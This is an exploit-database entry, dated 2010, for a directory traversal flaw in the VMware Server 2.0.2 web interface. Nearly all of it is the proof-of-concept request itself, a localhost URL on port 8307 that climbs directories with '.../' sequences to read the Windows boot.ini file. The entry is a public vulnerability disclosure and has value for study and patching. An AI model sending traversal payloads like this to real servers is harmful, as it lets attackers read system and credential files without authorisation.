VMware 2 Web Server - Directory Traversal

EDB-ID:

15617

CVE:



Author:

clshack

Type:

remote


Platform:

Multiple

Date:

2010-11-25


# Exploit Title:VMware 2 Web Server Directory Traversal
# Date:15/11/2010
# Author: clshack
# Software Link: http://www.vmware.com/products/server/
# Version:2.0.2
# Tested on: windows xp sp3 en
# CVE :

VMWARE:
http://localhost:8307/

<http://localhost:8307/.../.../.../.../.../boot.ini>
http://localhost:8307/.../.../.../.../.../boot.ini

<http://localhost:8307/.../.../.../.../.../boot.ini>VMware try to load xml
...

-- 
Alessio Dalla Piazza (Personal Blog:
http://www.clshack.it)<http://www.clshack.it>